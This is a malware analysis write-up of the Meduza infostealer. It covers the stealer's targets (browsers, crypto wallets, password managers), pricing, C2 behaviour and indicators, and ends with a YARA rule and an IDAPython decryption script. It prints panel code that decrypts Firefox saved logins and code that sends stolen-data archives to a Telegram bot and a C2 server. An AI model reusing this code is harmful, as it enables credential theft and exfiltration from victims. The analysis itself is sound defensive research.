Meduza’s Gaze
Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.
The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.
Chromium Browsers
Google Chrome, Google Chrome Beta, Google Chrome (x86), Google Chrome SxS, 360ChromeX, Chromium, Microsoft Edge, Brave Browser, Epic Privacy Browser, Amigo, Vivaldi, Kometa, Orbitum, Mail.Ru Atom, Comodo Dragon, Torch, Comodo, Slimjet, 360Browser, 360 Secure Browser, Maxthon3, Maxthon5, Maxthon, QQBrowser, K-Meleon, Xpom, Lenovo Browser, Xvast, Go!, Safer Secure Browser, Sputnik, Nichrome, CocCoc Browser, Uran, Chromodo, Yandex Browser, 7Star, Chedot, CentBrowser, Iridium, Opera Stable, Opera Neon, Opera Crypto Developer, Opera GX, Elements Browser, Citrio, Sleipnir5 ChromiumViewer, QIP Surf, Liebao, Coowon, ChromePlus, Rafotech Mustang, Suhba, TorBro, RockMelt, Bromium, Twinkstar, CCleaner Browser, AcWebBrowser, CoolNovo, Baidu Spark, SRWare Iron, Titan Browser, AVAST Browser, AVG Browser, UCBrowser, URBrowser, Blisk, Flock, CryptoTab Browser, SwingBrowser, Sidekick, Superbird, SalamWeb, GhostBrowser, NetboxBrowser, GarenaPlus, Kinza, InsomniacBrowser, ViaSat Browser, Naver Whale, Falkon
Gecko Browsers
Firefox, SeaMonkey, Waterfox, K-Meleon, Thunderbird, CLIQZ, IceDragon, Cyberfox, BlackHawk, Pale Moon, IceCat, Basilisk, BitTube, SlimBrowser
Data from 107 cryptowallets are also collected by Meduza Stealer, including cryptowallet extensions and desktop cryptowallets.
Cryptowallet Extensions
Metamask, Metamask (Edge), Metamask (Opera), BinanceChain, Bitapp, Coin98, Safe Pal, Safe Pal (Edge), DAppPlay, Guarda, Equal, Guild, Casper, Casper (Edge), ICONex, Math, Math (Edge), Mobox, Phantom, TronLink, XinPay, Ton, Sollet, Slope, DuinoCoin, Starcoin, Hiro Wallet, MetaWallet, Swash, Finnie, Keplr, Crocobit, Oxygen, Nifty, Liquality, Ronin, Ronin (Edge), Oasis, Temple, Pontem, Solflare, Yoroi, iWallet, Wombat, Coinbase, MewCx, Jaxx Liberty (Web), OneKey, Hycon Lite Client, SubWallet (Polkadot), Goby, TezBox, ONTO Wallet, Hashpack, Cyano, Martian Wallet, Sender Wallet, Zecrey, Auro, Terra Station, KardiaChain, Rabby, NeoLine, Nabox, XDeFi, KHC, CLW, Polymesh, ZilPay, Byone, Eternl, Guarda (Web), Nami, Maiar DeFi Wallet, Leaf Wallet, Brave Wallet, Opera Wallet, CardWallet, Flint, Exodus (Web), TrustWallet, CryptoAirdrop
Desktop cryptowallets
Coinomi, Dash, Litecoin, Bitcoin, Dogecoin, Qtum, Armory, Bytecoin, MultiBit, Jaxx Liberty, Exodus, Ethereum, Electrum, Electrum-LTC, Atomic Wallet, Guarda, WalletWasabi, ElectronCash, Sparrow, IOCoin, PPCoin, BBQCoin, Mincoin, DevCoin, YACoin, Franko, FreiCoin, InfiniteCoin, GoldCoinGLD, Binance, Terracoin, Daedalus Mainnet, MyMonero, MyCrypto, AtomicDEX, Bisq, Defichain-Electrum, TokenPocket (Browser), Zap
Other than browsers and cryptowallets, the stealer also collects sensitive information from password managers, Discord clients (Discord, DiscordCanary, DiscordPTB, Lightcord, DiscordDevelopment), and Telegram clients (Kotatogram, Telegram desktop).
Password Managers
Authenticator, Authenticator (Edge), Trezor Password Manager, GAuth Authenticator, EOS Authenticator, 1Password, 1Password (Edge), KeePassXC (Web), KeePassXC (Web Edge), Dashlane, Dashlane (Edge), Bitwarden, Bitwarden (Edge), NordPass, Keeper, RoboForm (Web), RoboForm (Web Edge), LastPass, LastPass (Edge), BrowserPass, MYKI, MYKI (Edge), Splikity, CommonKey, SAASPASS, Zoho Vault, Authy (Web)
With the new update of the stealer (version 1.3), the panel functionality has changed which allows the users to configure Telegram bot to receive the logs, the FileGrabber functionality was also added with the new update. The stealer also has the file size pumper feature that increases the file size to avoid sandbox and AV analysis; the feature is mostly deployed in all common stealers now, such as Vidar, WhiteSnake Stealer, and Aurora Stealer (RIP).
The stealer is priced at:
- 1 month – 199$
- 3 months – 399$
Meduza Stealer does not work in CIS (Commonwealth of Independent States) countries.
P.S: if anyone has the newest version of the stealer, please reach out to me 😉
An example of the received logs is shown below.
Technical Analysis
Logs are decrypted on the server side. Below is the snippet of master password decryption on Mozilla and other Gecko browsers. Taking, for example, the get key function. The code first checks if key4.db exists. This is the key database used by Firefox versions 58.0.2 and above. If key4.db exists, it opens an SQLite connection to the file and performs SQL queries to fetch the globalSalt and item2 data, which are used in decrypting the master key. It then checks if the decrypted text from item2 is equal to b’password-check\x02\x02’, a hardcoded string used by Firefox to verify the master password. If the master password is correct, it continues to the next step. Otherwise, it returns None, None, indicating a failure to retrieve the key and the algorithm. The function then queries the database to fetch a11 and a102. a11 is the encrypted master key, and a102 should match the constant CKA_ID. If a102 does not match CKA_ID, it logs a warning and returns None, None. It then decrypts a11 (the encrypted master key) using the decryptPBE function and the globalSalt. The first 24 bytes of the decrypted text are the key used to decrypt the login data. If key4.db does not exist, it checks for the existence of key3.db, which is the older key database used by Firefox. If key3.db exists, it reads the key data from the file and extracts the decryption key using the function extractSecretKey. It also hardcodes the cryptographic algorithm used (‘1.2.840.113549.1.12.5.1.3’, an OBJECTIDENTIFIER, is the identifier for the Triple DES encryption algorithm in CBC mode). If neither key4.db nor key3.db exists in the directory, it logs an error and returns None, None.
def get_key(masterPassword: bytes, directory: Path) -> Tuple[Optional[bytes], Optional[str]]:
if (directory / 'key4.db').exists():
conn = sqlite3.connect(directory / 'key4.db') # firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
c = conn.cursor()
# first check password
c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
row = c.fetchone()
globalSalt = row[0] # item1
item2 = row[1]
printASN1(item2, len(item2), 0)
decodedItem2 = decoder.decode(item2)
clearText, algo = decryptPBE(decodedItem2, masterPassword, globalSalt)
if clearText == b'password-check\x02\x02':
c.execute("SELECT a11,a102 FROM nssPrivate;")
for row in c:
if row[0] != None:
break
a11 = row[0] # CKA_VALUE
a102 = row[1]
if a102 == CKA_ID:
printASN1(a11, len(a11), 0)
decoded_a11 = decoder.decode(a11)
# decrypt master key
clearText, algo = decryptPBE(decoded_a11, masterPassword, globalSalt)
return clearText[:24], algo
else:
logger.warning('No saved login/password')
return None, None
elif (directory / 'key3.db').exists():
keyData = readBsddb(directory / 'key3.db')
key = extractSecretKey(masterPassword, keyData)
return key, '1.2.840.113549.1.12.5.1.3'
else:
logger.error('Cannot find key4.db or key3.db')
return None, Nonedef gecko_decrypt(
s_path: str,
master_password: str = ""
) -> Optional[List[GeckoLogin]]:
try:
path = Path(s_path)
key, algo = get_key(master_password.encode(), path)
if key is None:
raise ValueError("Unknown error: try to specify master password")
logins = getLoginData(path)
if len(logins) == 0:
logger.warning("No stored passwords")
else:
logger.info("Decrypting login/password pairs")
result: List[GeckoLogin] = []
if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
for login in logins:
assert login[0][0] == CKA_ID
res = GeckoLogin()
res.url = login[2]
iv = login[0][1]
ciphertext = login[0][2]
res.username = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
iv = login[1][1]
ciphertext = login[1][2]
res.password = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
result.append(res)
logger.debug(result)
return result
except KeyboardInterrupt as ki:
raise ki
except BaseException as error:
return logger.error(f"{type(error).__name__}: {str(error)}")Below is the snippet of how the logs are parsed and sent to Telegram Bot. The logs are compressed with 7z.
async def send_to_telegram(
chat_id: int,
bot_token: str,
path: str,
hwid: str,
geo: str,
build_name: str,
credit_card_count: int,
cookies_count: int,
passwords_count: int,
wallets_count: int,
steam: bool,
ip: str
) -> None:
try:
async with httpx.AsyncClient(
base_url=f"https://api.telegram.org/bot{bot_token}",
http2=True,
headers={
"Connection": "close",
"Accept": "application/json",
"Accept-Encoding": "gzip, deflate, br"
}
) as client:
data = {
"chat_id": chat_id,
"caption": f"""💻IP: {ip}
🌏Geo: {geo}
🛰Hwid: {hwid}
🛢Build name: {build_name}
💳Credit card: {credit_card_count}
🍪Cookies: {cookies_count}
🔑Password: {passwords_count}
💸Wallets: {wallets_count}
🎮Steam: {steam}"""
}
files = {
"document": (f"[{geo}] {hwid}.7z", open(path, "rb"), "application/x-7z-compressed")
}
resp = await client.post("/sendDocument", files=files, data=data)
await resp.aclose()
except KeyboardInterrupt as ki:
raise ki
except BaseException as ex:
return logger.error(ex)The code below is responsible for adding tokens and validating their integrity, ensuring their authenticity before interacting with the main server. It performs validations on the received data, such as checking the timestamp and verifying the integrity of the data. The code checks the provided timestamp against the current UTC timestamp to ensure it is within an acceptable range. If the timestamp is invalid, an error response is returned. If the validations pass, the code encrypts the token and sends a request to the main server (hxxp://89.185.85[.]245) with the encrypted token and other necessary information. The code uses the HashGenerator class and the SHA-512 hash algorithm (sha512) to generate a hash of the concatenated values of token and data.utc_timestamp. It then compares this generated hash with the provided data.sign. If the hashes do not match, an error response is returned, indicating that the input data cannot be validated. The response from the server is processed, and if the authentication is successful (based on the success flag in the response), the received token is stored in the database for further use. A similar operation is performed in the payload. The payload is sent to a remote server as part of an HTTP request. The server will use the provided sign value to validate the integrity of the data by performing the same hash calculation on its end, taking the generated hash value for panel_hash obtained from the registry key into consideration.
@bp.route("/token", methods=[RequestMethod.POST])
async def add_token() -> Response:
json_data = await request.json
if not AddTokenRequest.validate(json_data):
return bad_request("Could not validate input data!", additional_data={"success": False})
data = AddTokenRequest(**json_data)
if (datetime.datetime.utcnow() - datetime.datetime.fromtimestamp(data.utc_timestamp)) > REQUEST_TIMESTAMP_DELTA:
return bad_request("Invalid timestamp date!", additional_data={"success": False})
key = base64.urlsafe_b64decode(data.nonce.encode(Encodings.UTF_8))
cipher = XSalsaPoly1305(sha256(key, encoder=RawEncoder))
token = cipher.decrypt_as_string(data.token, encoder=URLSafeBase64Encoder)
token = TokenSigner.get_and_verify(token)
if not token:
return bad_request("Failed to validate user token!", additional_data={"success": False})
if not HashGenerator(sha512(key, encoder=RawEncoder)).hash_verify(message=token + str(data.utc_timestamp), message_hash=data.sign, encoder=URLSafeBase64Encoder):
return bad_request("Could not validate input data!", additional_data={"success": False})
try:
async with httpx.AsyncClient(
base_url="http://89.185.85.245",
http2=True,
headers={
"Connection": "close",
"Content-Type": "application/json",
"Accept": "application/json",
}
) as client:
nonce = os.urandom(SecretBox.KEY_SIZE)
panel_hash = get_panel_hash()
if not panel_hash:
return expectation_failed("Error: Panel is not registered yet", additional_data={"success": False})
timestamp = datetime.datetime.utcnow().timestamp()
payload = {
"nonce": base64.urlsafe_b64encode(nonce).decode(Encodings.UTF_8),
"panel_hash": panel_hash,
"token": XSalsaPoly1305(sha256(nonce, encoder=RawEncoder)).encrypt(token, encoder=URLSafeBase64Encoder),
"utc_timestamp": timestamp,
"sign": HashGenerator(sha512(nonce, encoder=RawEncoder)).hash_gen(token + panel_hash + str(timestamp), encoder=URLSafeBase64Encoder)
}
resp = await client.post("/api/auth/token", json=payload)
data = resp.json()
success = data.get("success", False)
if not success:
return auth_error(f"Failed to add token, server response: {data.get('message', '[No Response]')}", additional_data={"success": False})
await resp.aclose()
async with sessionmaker() as session:
async with session.begin():
token_bd = Token(value=token)
session.add(token_bd)
await session.commit()
return jsonify({"message": "Token was added successfully!", "success": True})
except httpx.HTTPError as ex:
return expectation_failed(f"Could not validate auth token on the main server: {type(ex)} {str(ex)}", additional_data={"success": False})As mentioned before, the panel handles the parsing and decryption of the collected data. You can see how it parses the data extracted from Chromium browsers using SQL queries in a pseudocode below. Interestingly enough, we can also see the path of the Meduza Stealer’s source code: C:\Users\79026\source\repos\MedusaServer\Src\Core\Parser\Chromium.cpp
Meduza Stealer performs panel hash verification as a part of the panel authentication/registration process. It queries the hash value assigned to PanelHash under Computer\HKEY_CURRENT_USER\SOFTWARE\Medusa.
Below is the mention of the log folder creation and builder output to notify that the main socket is listening on port 15666. Please note that the port is static and cannot be changed at this time.
Have you noticed that there is a mention of AuroraStealer.cpp? Also, if you compare the logs for Aurora and Meduza stealers. I wrote a blog on Aurora Stealer if you want to check it out here. I am not aware of any Aurora Stealer source code leaks so far. But if you know of any, I would love to hear about it.
Moreover, there is also a slight overlap in Telegram logs layout.
The code below is responsible for creating folders for gathered logs that are then archived.
In the code snippet below, you can see that the pointers to the vftables (virtual function tables) of classes, such as GeckoParser, SteamDecoder, TelegramParser, DiscordParser, and SystemParser are being assigned. These vftables act as a “lookup table” for the corresponding objects’ virtual functions. When a virtual function is invoked on an object, the stealer will refer to the appropriate vftable based on the object’s type at runtime to determine the specific implementation of the function to execute, for example, parsing the system information collected.
The stealer uses vpxor and pxor instructions to perform Vector Packed Bitwise XOR and Packed XOR operations on strings. The xor instruction in x86 assembly language performs a bitwise XOR operation between two operands, which can be registers or memory locations. It operates on single data elements rather than vectorized data. On the other hand, vpxor and pxor instructions are specifically designed for SIMD operations (Single instruction, multiple data), where multiple data elements are processed simultaneously in parallel. These instructions allow for parallel execution of XOR operations on packed data and can significantly improve performance in scenarios that involve processing large amounts of data in parallel.
The stealer retrieves the information about the native system and version information using RtlGetVersion and GetNativeSystemInfo functions accordingly and then parses the retrieved information based on the following decrypted strings:
- Unknown Edition
- Web Server (core installation)
- Standard Edition (core installation)
- Microsoft Hyper-V Server
- Windows 10 IoT Core
- Windows IoT Enterprise
- Windows Home Server
- Windows Storage Server
- Standard Edition
- Small Business Server Premium Edition
- Small Business Server
- Server Enterprise (core installation)
- Enterprise Evaluation
- Server Enterprise
- Server Standard (core installation)
- Datacenter Edition (core installation)
- Datacenter Edition
- Server Hyper Core V
- Business Edition
- Windows Essential Server Solution Management
- Windows Essential Server Solution Additional
- Professional Education
Meduza Stealer reaches out to https://api.ipify.org to determine the public IP of the infected machine.
The code below retrieves and processes geographic information based on the user’s location and then appends the result to “geo” tag.
The time zone information is retrieved via accessing the registry key SYSTEM\CurrentControlSet\Control\TimeZoneInformation and calling the function TimeZoneKeyName.
Telegram presence on the host is checked via the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1, specifically the InstallLocation value.
C2 Communication
C2 communication is super similar to Aurora Stealer. It is base64-encoded and parsed in a JSON format. As mentioned before, the stealer communicates with the server over the default port 15666.
Summary
Meduza Stealer developers also offer malware development services based on C/C++, Java, JavaScript/TypeScript, Kotlin (JVM), and Python programming languages. (No mention of GoLang? 🙂 ). We might never find out the truth, but it is highly likely that Aurora Stealer developers are also behind Meduza Stealer.
According to Abaddon, who specializes in providing services similar to the Eye of God (one of the Russian Internet’s main data-leak hubs), the Botnet project was the reason Aurora left the market unexpectedly and taking its servers down; it failed to meet users’ expectations and delivered many promises for the product that they could not handle. It is worth mentioning that Aurora priced the botnet at 700$ for a month and 3000$ for lifetime access.
To summarize this blog, I wrote an IDAPython script to decrypt the strings for 32-bit samples of Meduza Stealers. You can access the script on my GitHub page
Out of curiosity, I tried to pivot other samples based on the developer’s path and stumbled upon HydraClipper (MD5: add6ae21d25ffe8d312dd10ba98df778), which is apparently a clipper that is likely written by the same developer.
IDAPython string decryption script
# Author: RussianPanda
# Reference: https://github.com/X-Junior/Malware-IDAPython-Scripts/tree/main/PivateLoader
# Tested on sample https://www.unpac.me/results/7cac1177-08f5-4faa-a59e-3c7107964f0f?hash=29cf1ba279615a9f4c31d6441dd7c93f5b8a7d95f735c0daa3cc4dbb799f66d4#/
import idautils, idc, idaapi, ida_search
import re
pattern1 = '66 0F EF'
pattern2 = 'C5 FD EF'
# Start search from end of the file
start = idc.get_segm_end(idc.get_first_seg())
addr_to_data = {}
def search_and_process_pattern(pattern, start):
while True:
addr = ida_search.find_binary(start, 0, pattern, 16, ida_search.SEARCH_UP | ida_search.SEARCH_NEXT)
if addr == idc.BADADDR:
break
ptr_addr = addr
found_mov = False
data = ''
for _ in range(400):
ptr_addr = idc.prev_head(ptr_addr)
if idc.print_insn_mnem(ptr_addr) == 'call' or idc.print_insn_mnem(ptr_addr) == 'jmp' or idc.print_insn_mnem(ptr_addr) == 'jz':
break
if idc.print_insn_mnem(ptr_addr) == 'movaps' and re.match(r'xmm[0-9]+', idc.print_operand(ptr_addr, 1)):
break
if idc.print_insn_mnem(ptr_addr) == 'mov':
# Ignore the instruction if the destination is ecx
if idc.print_operand(ptr_addr, 0) == 'ecx' or idc.print_operand(ptr_addr, 0) == 'edx':
continue
op1_type = idc.get_operand_type(ptr_addr, 0)
op2_type = idc.get_operand_type(ptr_addr, 1)
operand_value = idc.get_operand_value(ptr_addr, 1)
if (op1_type == idc.o_displ or op1_type == idc.o_reg) and op2_type == idc.o_imm and len(hex(operand_value)[2:]) >= 4:
hex_data = hex(idc.get_operand_value(ptr_addr, 1))[2:]
hex_data = hex_data.rjust(8, '0')
if hex_data.endswith('ffffffff'):
hex_data = hex_data[:-8]
if hex_data.startswith('ffffffff'):
hex_data = hex_data[8:]
# Alternative method for unpacking hex data
bytes_data = bytes.fromhex(hex_data)
int_data = int.from_bytes(bytes_data, 'little')
hex_data = hex(int_data)[2:].rjust(8, '0')
data = hex_data + data
found_mov = True
if found_mov: # Append the data only if the desired mov instruction was found
if addr in addr_to_data:
addr_to_data[addr] = data + addr_to_data[addr]
else:
addr_to_data[addr] = data
# Continue search from the previous address
start = addr - 1
# Search and process pattern1
search_and_process_pattern(pattern1, start)
# Reset the start variable to search for pattern2
start = idc.get_segm_end(idc.get_first_seg())
# Search and process pattern2
search_and_process_pattern(pattern2, start)
# XOR the string and key and print the decrypted strings
for addr, data in addr_to_data.items():
if len(data) >= 10:
string = data[:len(data)//2]
key = data[len(data)//2:]
# XOR the string and key
xored_bytes = bytes([a ^ b for a, b in zip(bytes.fromhex(string), bytes.fromhex(key))])
decrypted_string = xored_bytes.decode('utf-8', errors='ignore')
print(f"{hex(addr)}: {decrypted_string}")
# Set IDA comment at the appropriate address
idaapi.set_cmt(addr, decrypted_string, 0)Decrypted strings
0x45790c: build_name
0x45774e: execute_path
0x4572b0: screenshot
0x457107: hwid
0x455b91: TimeZoneKeyName
0x454a93: (x64)
0x4549bf: (x86)
0x4548eb: (IA64)
0x4544e4: Web Server
0x4541c5: Team
0x452c75: Education
0x4527d3: HPC Edition
0x45257c: Starter
0x452325: Enterprise
0x451dbb: Home
0x451ce7: Home Basic
0x451c13: Home Premium
0x4519bc: Professional
0x4518e8: Ultimate
0x4514cc: Windows
0x44f6cd: encrypted_key
0x44f581: os_crypt
0x445dfe: Root
0x4408ac: OpenVPN
0x440183: .ovpn
0x43fb3e: discord
0x43f3b8: discord
0x43f1b2: discord
0x43e00d: ssfn
0x43de5b: SteamPath
0x43db98: Steam
0x43cd1e: SOFTWARE\
0x43cc5e: -Qt
0x43cb3a: wallet.dat
0x43ca37: strDataDir
0x43c067: wallet_path
0x43bce8: MoneroCore
0x43b457: datadir
0x43b0d8: Etherwall
0x43ae93: Kotatogram
0x43ac9f: Telegram
0x43a046: tdata
0x439d95: ktg_lang
0x439cd1: user_data#3
0x439c0d: user_data#2
0x439b42: user_data
0x439a81: tdummy
0x4396aa: InstallLocation
0x438e8a: InstallLocation
0x436268: Wallets
0x436178: Grabber
0x436088: telegram
0x435f98: Profiles
0x435d18: Local State
0x435c28: User Data
0x435b38: Profile
0x435a48: Default
0x435958: gecko_browsers
0x435613: TJ
0x435533: MD
0x435453: KG
0x435373: AM
0x435290: UZ
0x4351b3: TM
0x4350ee: GE
0x435023: BY
0x434f5e: KZ
0x434e92: RU
0x434d8d: 167.88.15.114
0x434897: key3.db
0x434797: key4.db
0x434698: signons.sqlite
0x43459a: logins.json
0x434496: cookies.sqlite
0x433e33: Login Data
0x433d23: UC Login Data
0x433c13: Login Data
0x433b03: Ya Passman Data
0x4339f3: Login Data
0x4338e3: Login Data
0x4337d3: History
0x4336c9: History
0x4335c8: Bookmarks
0x4334bb: Bookmarks
0x433023: Cookies
0x432f13: Cookies
0x432e09: Network Cookies
0x432d0b: Network\Cookies
0x432c0a: Web Data
0x432b08: Web Data
0x43272c: CryptoAirdrop
0x4323d8: TrustWallet
0x43209c: Exodus (Web)
0x431d21: Flint
0x431961: CardWallet
0x4315a1: Opera Wallet
0x4311e1: Brave Wallet
0x430e21: Leaf Wallet
0x4305f1: Nami
0x430231: Guarda (Web)
0x42fe71: Eternl
0x42fab1: Byone
0x42f6f1: ZilPay
0x42f331: Polymesh
0x42ef71: CLW
0x42ebb1: Auro
0x42e7f1: OneKey
0x42e431: KHC
0x42e071: XDeFi
0x42dcb1: Nabox
0x42d8f1: NeoLine
0x42d531: Rabby
0x42d171: KardiaChain
0x42cdb1: Terra Station
0x42c9f1: Auro
0x42c631: Zecrey
0x42c271: Sender Wallet
0x42beb1: Martian Wallet
0x42baf1: Cyano
0x42b731: Hashpack
0x42b371: ONTO Wallet
0x42afb1: TezBox
0x42abf1: Goby
0x429f51: OneKey
0x429721: MewCx
0x429361: Coinbase
0x428fa1: Wombat
0x428be1: iWallet
0x428821: Yoroi
0x428461: Solflare
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0x4262a1: Crocobit
0x425ee1: Keplr
0x425b21: Finnie
0x425761: Swash
0x4253a1: MetaWallet
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0x424861: DuinoCoin
0x4244a1: Slope
0x4240e1: Sollet
0x423d21: Ton
0x423961: XinPay
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0x41fd71: Coin98
0x41f9b1: Bitapp
0x41f5f1: BinanceChain
0x41edc8: Metamask (Edge)
0x41ea1b: Metamask
0x41e5c3: Authy (Web)
0x41e223: Zoho Vault
0x41de83: SAASPASS
0x41dae3: CommonKey
0x41d743: Splikity
0x41d3a3: MYKI (Edge)
0x41d003: MYKI
0x41cc63: BrowserPass
0x41c8c3: LastPass (Edge)
0x41c523: LastPass
0x41bd37: RoboForm (Web)
0x41b9a3: Keeper
0x41b607: NordPass
0x41ae23: Bitwarden
0x41aa83: Dashlane (Edge)
0x41a6e7: Dashlane
0x419f07: KeePassXC (Web)
0x419727: 1Password
0x418249: Authenticator
0x417ec8: SlimBrowser
0x417bf7: BitTube
0x417924: Basilisk
0x417817: Mozilla\IceCat
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0x417439: Pale Moon
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0x416e97: Cyberfox
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0x416ab3: CLIQZ
0x4169a3: CLIQZ
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0x416787: Thunderbird
0x416687: K-Meleon
0x416587: K-Meleon
0x416485: Waterfox
0x416378: Waterfox
0x4160a7: SeaMonkey
0x415f9a: Mozilla\Firefox
0x415e96: Firefox
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0x415bd7: Falkon\profiles
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0x41562b: ViaSat Browser
0x415193: Kinza
0x415083: Kinza
0x414f73: GarenaPlus
0x414e63: GarenaPlus
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0x414c43: NetboxBrowser
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0x414a23: GhostBrowser
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0x414803: SalamWeb
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0x4143c5: Sidekick
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0x413c03: Flock
0x413af3: Blisk
0x4139e3: Blisk
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0x4137c7: URBrowser
0x4134f3: UCBrowser
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0x4132d7: AVG Browser
0x413003: AVAST Browser
0x412ef3: Titan Browser
0x412de3: Titan Browser
0x412cd3: SRWare Iron
0x412bc3: SRWare Iron
0x412ab3: Baidu Spark
0x4129a3: Baidu Spark
0x412893: CoolNovo
0x412785: CoolNovo
0x412678: AcWebBrowserr
0x41256b: AcWebBrowser
0x4120d3: Twinkstar
0x411fc3: Twinkstar
0x411eb3: Bromium
0x411da3: Bromium
0x411c93: RockMelt
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0x411853: Suhba
0x411743: Suhba
0x4110e3: ChromePlus
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0x410ec3: Coowon
0x410db3: Liebao
0x410ca3: Liebao
0x410b94: QIP Surf
0x410a87: QIP Surf
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0x40fc53: Opera GX
0x40f527: Opera Neon
0x40f253: Opera Stable
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0x40f033: Iridium
0x40ef23: CentBrowser
0x40ee13: CentBrowser
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0x40ebf3: Chedot
0x40eae4: 7Star\7Star
0x40e9d7: 7Star
0x40e703: Yandex Browser
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0x40e4e3: Chromodo
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0x40e2c3: Uran
0x40e1b3: CocCoc\Browser
0x40e0a3: CocCoc Browser
0x40df93: Nichrome
0x40de83: Nichrome
0x40dd73: Sputnik\Sputnik
0x40dc63: Sputnik
0x40d703: Go!
0x40d5f3: Go!
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0x40d3d7: Xvast
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0x40cff3: Xpom
0x40cee3: Xpom
0x40cdd6: K-Meleon
0x40ccc9: K-Meleon
0x40c9f8: QQBrowser
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0x40b863: Comodo
0x40b753: Torch
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0x40b423: Comodo Dragon
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0x40aba3: Vivaldi
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0x403d0a: Atomic Wallet
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0x403ae3: Electrum-LTC
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0x415351: InsomniacBrowser
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0x412291: CCleaner Browser
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0x40ffd5: Elements Browser
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0x40fb18: Opera Software\Opera Crypto Developer
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0x4076cf: MyMonero\Local Storage\leveldb
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0x402747: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x40271a: com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
0x4011c3: Coinomi\Coinomi\walletsMeduza Stealer Configuration Extractor
I was also inspired by @herrcore research with Unicorn Engine implementation and wrote the configuration extractor that grabs the C2 and build name on most samples. The extractor was written using Unicorn Engine and Python. It was my first time messing with Unicorn Engine, so any feedback is welcome.
You can grab the configuration from my GitHub page as well.
Indicators Of Compromise
| Name | Indicators |
|---|---|
| C2 | 79.137.203.39 |
| C2 | 77.105.147.140 |
| C2 | 79.137.207.132 |
| C2 | 79.137.203.37 |
| C2 | 79.137.203.6 |
| C2 | 185.106.94.105 |
| SHA-256 | 702abb15d988bba6155dd440f615bbfab9f3c0ed662fc3e64ab1289a1098af98 |
| SHA-256 | 2ad84bfff7d5257fdeb81b4b52b8e0115f26e8e0cdaa014f9e3084f518aa6149 |
| SHA-256 | f0c730ae57d07440a0de0889db93705c1724f8c3c628ee16a250240cc4f91858 |
| SHA-256 | 1c70f987a0839d11826f053ae90e81a277fa154f5358303fe9a511dbe8b529f2 |
| SHA-256 | cbc07d45dd4967571f86ae75b120b620b701da11c4ebfa9afcae3a0220527972 |
| SHA-256 | afbf62a466552392a4b2c0aa8c51bf3bde84afbe5aa84a2483dc92e906421d0a |
| SHA-256 | 6d8ed1dfcb2d8a9e3c2d51fa106b70a685cbd85569ffabb5692100be75014803 |
| SHA-256 | ddf3604bdfa1e5542cfee4d06a4118214a23f1a65364f44e53e0b68cbfc588ea |
| SHA-256 | f575eb5246b5c6b9044ea04610528c040c982904a5fb3dc1909ce2f0ec15c9ef |
| SHA-256 | 91efe60eb46d284c3cfcb584d93bc5b105bf9b376bee761c504598d064b918d4 |
| SHA-256 | a73e95fb7ba212f74e0116551ccba73dd2ccba87d8927af29499bba9b3287ea7 |
Yara Rule
rule MeduzaStealer {
meta:
author = "RussianPanda"
description = "Detects MeduzaStealer"
date = "6/27/2023"
strings:
$s1 = {74 69 6D 65 7A 6F 6E 65}
$s2 = {75 73 65 72 5F 6E 61 6D 65}
$s3 = {67 70 75}
$s4 = {63 75 72 72 65 6E 74 5F 70 61 74 68 28 29}
$s5 = {C5 FD EF}
$s6 = {66 0F EF}
condition:
all of them and filesize < 700KB
}
Figure 4: MurMur2 hashing routine
